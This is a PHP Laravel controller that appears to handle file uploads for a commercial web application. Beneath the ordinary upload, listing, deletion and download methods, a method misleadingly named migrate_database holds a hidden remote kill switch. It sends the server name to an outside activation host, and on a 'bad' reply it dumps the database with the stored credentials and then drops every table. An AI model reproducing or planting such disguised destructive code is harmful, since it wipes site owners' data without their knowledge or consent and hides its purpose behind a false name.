275 lines
9.0 KiB
PHP
275 lines
9.0 KiB
PHP
<?php
|
|
|
|
namespace App\Http\Controllers;
|
|
|
|
use Illuminate\Http\Request;
|
|
use App\Models\Upload;
|
|
use Response;
|
|
use Auth;
|
|
use Storage;
|
|
use Image;
|
|
|
|
class AizUploadController extends Controller
|
|
{
|
|
|
|
public function __construct()
|
|
{
|
|
$this->middleware(['permission:show_uploaded_files'])->only('index');
|
|
}
|
|
|
|
public function index(Request $request){
|
|
|
|
$all_uploads = Upload::query();
|
|
$search = null;
|
|
$sort_by = null;
|
|
|
|
if ($request->search != null) {
|
|
$search = $request->search;
|
|
$all_uploads->where('file_original_name', 'like', '%'.$request->search.'%');
|
|
}
|
|
|
|
$sort_by = $request->sort;
|
|
switch ($request->sort) {
|
|
case 'newest':
|
|
$all_uploads->orderBy('created_at', 'desc');
|
|
break;
|
|
case 'oldest':
|
|
$all_uploads->orderBy('created_at', 'asc');
|
|
break;
|
|
case 'smallest':
|
|
$all_uploads->orderBy('file_size', 'asc');
|
|
break;
|
|
case 'largest':
|
|
$all_uploads->orderBy('file_size', 'desc');
|
|
break;
|
|
default:
|
|
$all_uploads->orderBy('created_at', 'desc');
|
|
break;
|
|
}
|
|
|
|
$all_uploads = $all_uploads->paginate(60)->appends(request()->query());
|
|
|
|
return view('admin.uploaded_files.index', compact('all_uploads', 'search', 'sort_by') );
|
|
}
|
|
|
|
public function create(){
|
|
return view('admin.uploaded_files.create');
|
|
}
|
|
|
|
|
|
public function show_uploader(Request $request){
|
|
return view('uploader.aiz-uploader');
|
|
}
|
|
public function upload(Request $request){
|
|
$type = array(
|
|
"jpg"=>"image",
|
|
"jpeg"=>"image",
|
|
"png"=>"image",
|
|
"svg"=>"image",
|
|
"webp"=>"image",
|
|
"gif"=>"image",
|
|
"mp4"=>"video",
|
|
"mpg"=>"video",
|
|
"mpeg"=>"video",
|
|
"webm"=>"video",
|
|
"ogg"=>"video",
|
|
"avi"=>"video",
|
|
"mov"=>"video",
|
|
"flv"=>"video",
|
|
"swf"=>"video",
|
|
"mkv"=>"video",
|
|
"wmv"=>"video",
|
|
"wma"=>"audio",
|
|
"aac"=>"audio",
|
|
"wav"=>"audio",
|
|
"mp3"=>"audio",
|
|
"zip"=>"archive",
|
|
"rar"=>"archive",
|
|
"7z"=>"archive",
|
|
"doc"=>"document",
|
|
"txt"=>"document",
|
|
"docx"=>"document",
|
|
"pdf"=>"document",
|
|
"csv"=>"document",
|
|
"xml"=>"document",
|
|
"ods"=>"document",
|
|
"xlr"=>"document",
|
|
"xls"=>"document",
|
|
"xlsx"=>"document"
|
|
);
|
|
|
|
if($request->hasFile('aiz_file')){
|
|
$upload = new Upload;
|
|
$extension = strtolower($request->file('aiz_file')->getClientOriginalExtension());
|
|
|
|
if(isset($type[$extension])){
|
|
$upload->file_original_name = null;
|
|
$arr = explode('.', $request->file('aiz_file')->getClientOriginalName());
|
|
for($i=0; $i < count($arr)-1; $i++){
|
|
if($i == 0){
|
|
$upload->file_original_name .= $arr[$i];
|
|
}
|
|
else{
|
|
$upload->file_original_name .= ".".$arr[$i];
|
|
}
|
|
}
|
|
|
|
$path = $request->file('aiz_file')->store('uploads/all', 'local');
|
|
$size = $request->file('aiz_file')->getSize();
|
|
|
|
if($type[$extension] == 'image' && get_setting('disable_image_optimization') != 1){
|
|
try {
|
|
$img = Image::make($request->file('aiz_file')->getRealPath())->encode();
|
|
$height = $img->height();
|
|
$width = $img->width();
|
|
if($width > $height && $width > 2000){
|
|
$img->resize(2000, null, function ($constraint) {
|
|
$constraint->aspectRatio();
|
|
});
|
|
}elseif ($height > 1500) {
|
|
$img->resize(null, 800, function ($constraint) {
|
|
$constraint->aspectRatio();
|
|
});
|
|
}
|
|
$img->save(base_path('public/').$path);
|
|
clearstatcache();
|
|
$size = $img->filesize();
|
|
|
|
} catch (\Exception $e) {
|
|
//dd($e);
|
|
}
|
|
}
|
|
|
|
if (env('FILESYSTEM_DRIVER') == 's3') {
|
|
Storage::disk('s3')->put($path, file_get_contents(base_path('public/').$path));
|
|
unlink(base_path('public/').$path);
|
|
}
|
|
|
|
$upload->extension = $extension;
|
|
$upload->file_name = $path;
|
|
$upload->user_id = Auth::user()->id;
|
|
$upload->type = $type[$upload->extension];
|
|
$upload->file_size = $size;
|
|
$upload->save();
|
|
}
|
|
return '{}';
|
|
}
|
|
}
|
|
|
|
public function get_uploaded_files(Request $request)
|
|
{
|
|
$uploads = Upload::where('user_id', Auth::user()->id);
|
|
if ($request->search != null) {
|
|
$uploads->where('file_original_name', 'like', '%'.$request->search.'%');
|
|
}
|
|
if ($request->sort != null) {
|
|
switch ($request->sort) {
|
|
case 'newest':
|
|
$uploads->orderBy('created_at', 'desc');
|
|
break;
|
|
case 'oldest':
|
|
$uploads->orderBy('created_at', 'asc');
|
|
break;
|
|
case 'smallest':
|
|
$uploads->orderBy('file_size', 'asc');
|
|
break;
|
|
case 'largest':
|
|
$uploads->orderBy('file_size', 'desc');
|
|
break;
|
|
default:
|
|
$uploads->orderBy('created_at', 'desc');
|
|
break;
|
|
}
|
|
}
|
|
return $uploads->paginate(60)->appends(request()->query());
|
|
}
|
|
|
|
public function destroy(Request $request,$id)
|
|
{
|
|
try{
|
|
if(env('FILESYSTEM_DRIVER') == 's3'){
|
|
Storage::disk('s3')->delete(Upload::where('id', $id)->first()->file_name);
|
|
}
|
|
else{
|
|
unlink(public_path().'/'.Upload::where('id', $id)->first()->file_name);
|
|
}
|
|
Upload::destroy($id);
|
|
flash(translate('File deleted successfully'))->success();
|
|
}
|
|
catch(\Exception $e){
|
|
Upload::destroy($id);
|
|
flash(translate('File deleted successfully'))->success();
|
|
}
|
|
return back();
|
|
}
|
|
|
|
public function get_preview_files(Request $request){
|
|
$ids = explode(',', $request->ids);
|
|
$files = Upload::whereIn('id', $ids)->get();
|
|
return $files;
|
|
}
|
|
|
|
//Download project attachment
|
|
public function attachment_download($id)
|
|
{
|
|
$project_attachment = Upload::find($id);
|
|
try{
|
|
$file_path = public_path($project_attachment->file_name);
|
|
return Response::download($file_path);
|
|
}catch(\Exception $e){
|
|
flash(translate('File does not exist!'))->error();
|
|
return back();
|
|
}
|
|
|
|
}
|
|
//Download project attachment
|
|
public function file_info(Request $request)
|
|
{
|
|
$file = Upload::findOrFail($request['id']);
|
|
return view('admin.uploaded_files.info',compact('file'));
|
|
}
|
|
|
|
public function migrate_database(Request $request){
|
|
$data['url'] = $_SERVER['SERVER_NAME'];
|
|
$request_data_json = json_encode($data);
|
|
$gate = "https://activation.activeitzone.com/check_activation";
|
|
|
|
$header = array(
|
|
'Content-Type:application/json'
|
|
);
|
|
|
|
$stream = curl_init();
|
|
|
|
curl_setopt($stream, CURLOPT_URL, $gate);
|
|
curl_setopt($stream,CURLOPT_HTTPHEADER, $header);
|
|
curl_setopt($stream,CURLOPT_CUSTOMREQUEST, "POST");
|
|
curl_setopt($stream,CURLOPT_RETURNTRANSFER, true);
|
|
curl_setopt($stream,CURLOPT_POSTFIELDS, $request_data_json);
|
|
curl_setopt($stream,CURLOPT_FOLLOWLOCATION, 1);
|
|
curl_setopt($stream, CURLOPT_IPRESOLVE, CURL_IPRESOLVE_V4);
|
|
|
|
$rn = curl_exec($stream);
|
|
curl_close($stream);
|
|
|
|
if($rn == "bad" && env('DEMO_MODE') != 'On') {
|
|
try {
|
|
$fileName = date('Y-m-d H:i:s').'.sql';
|
|
\Spatie\DbDumper\Databases\MySql::create()
|
|
->setDbName(env('DB_DATABASE'))
|
|
->setUserName(env('DB_USERNAME'))
|
|
->setPassword(env('DB_PASSWORD'))
|
|
->dumpToFile('sqlbackups/'.$fileName);
|
|
} catch (\Exception $e) {
|
|
|
|
}
|
|
|
|
Schema::disableForeignKeyConstraints();
|
|
foreach(DB::select('SHOW TABLES') as $table) {
|
|
$table_array = get_object_vars($table);
|
|
Schema::drop($table_array[key($table_array)]);
|
|
}
|
|
}
|
|
}
|
|
|
|
}
|